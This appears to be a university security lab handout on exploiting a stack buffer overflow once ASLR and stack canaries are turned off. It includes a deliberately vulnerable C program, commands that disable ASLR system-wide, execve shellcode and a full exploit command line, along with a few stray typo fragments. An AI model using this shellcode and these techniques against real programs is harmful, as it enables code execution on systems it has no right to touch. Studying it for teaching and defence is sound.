**SOPS – Buffer overflow and ASLR**

1. **Introduction**

In today’s laboratory we will see how we can obtain a shell exploiting a buffer overflow vulnerability. A code which is vulnerable can be exploited to make it run malicious code. This method of attack is quite old, but still widely used, but because it is old operating systems and compilers added methods to prevent attack execution, protecting executables of possible exploitation of badly written code.

Let’s take a look at the following vulnerable code:

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

void func(char \*string)

{

char buffer[128];

strcpy(buffer, string);

}

int main(int argc, char \*argv[])

{

func(argv[1]);

return 0;

}

We will want to compile it for 32-bit architecture to be easier to prove the attack. To do this we will have to run the following command:

gcc -g -m32 -o ex ex.c where in ex.c we previously saved the code from above.

If you are on x64 architecture your gcc might not have -m32 option, so to have it you have to install the following packages:

sudo apt-get install libc6-dev-i386 gcc-multilib

1. **Buffer overflow**

If you look at the code, the only thing the code is doing is to call a function with the argument we pass to the program. This function copies the string passed as an argument in a local variable defined on the stack of the function. Because of the way in which we copy the string (without checking the size) we may get a buffer overflow if we pass as an argument a string bigger than 128 characters. Lets remember how the stack looks like when we call a function:

name-parameters

return address

base pointer(ebp)

different other registers

buffer

…..

So, if we put in the buffer more than 128 characters we will overwrite the stack and putting enough extra characters we will be able to overwrite the return address, making the program to jump to a different address where we can take over the flow of program execution.

To be able to pass non printable characters as an argument to an executable we will need to install python – to do so you have to run sudo apt-get install python. If we ran this command:

./ex $(python -c 'print (128\*"A")') we will ran ./ex AAAAA…A (128 of A).

**Practic: Now try to run the executable with a buffer with which you try to overwrite the return address. See what happens.**

As we were saying above there are some stack protection mechanism and on the stack are added by the compiler canaries before the return address, if those values are overwriten the program will crash considering the program might be exploited. To disable this protection when we compile the program we have to disable stack protection, so we will compile the executable with this command:

gcc -g -m32 -fno-stack-protector -o ex ex.c.

**Practic: Now rerun the program with the buffer you used before and see what happens.**

1. **Preparing the attack**

We will try to create the following attack – in the buffer we will try to put executable code which will start a shell and we will try to overwrite the return code with the address of our buffer. ASLR – Address Space Layout Randomisation is another protection mechanism which involves randomly positioning the base address of an executable and the position of libraries, heap, and stack, in a process's address space. This way the variables will be loaded at every run at different address. To have a constant address for our buffer we want to exploit we will disable ASLR using:

echo 0 | sudo tee /proc/sys/kernel/randomize\_va\_space

To find the buffer address we will run the program from gdb:

gdb ./ex some\_string

b func

run

p &buffer

On my computer the address for the buffer is 0xffffd04c. So we will want to overwrite the return address with this value and in our buffer we will want to put a shell code which will start a shell.

Here is a code which starts a shell:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

**Practic: Try to see that the shell code is working. Define a string which contains the shellcode above. Define a pointer function and run it.**

**Hints:**

g

To make sure the alignment is correct we can add before shell code some nop instructions, a nop instruction is an instruction which does nothing, just wastes a CPU cycle. The code for a nop instruction is 0x90.

Now, the return code can be found again with gdb:qq

gdb ./ex some\_string

b func

run

info frame

From info frame you will find this information Previous frame's sp is 0xffffd0e0, where we should put the address of our buffer cause if we do this we will overwrite the return code for the function with our buffer address.

How much we should overflow our buffer – the buffer address in my case is 0xffffd04c, the address with the return code is at 0xffffd0e0 – difference being 148, buffer size is 128, so we have to overflow with 20 characters.

Our buffer will be:

24 nop instructions

25 characters the shell code

Some 99 random garbage characters

And the return address which will be our buffer address. So, the command in my case should look like this:

./ex $(python -c 'print (24\*"\x90"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+99\*"A"+"\x4c\xd0\xff\xff")')

Please see at the end that because of endianness representation I write the buffer address which was 0xffffd04c as \x4c\xd0\xff\xff.

**Practic: Find the buffer needed on your computer to run the attack and obtain the shellcode.**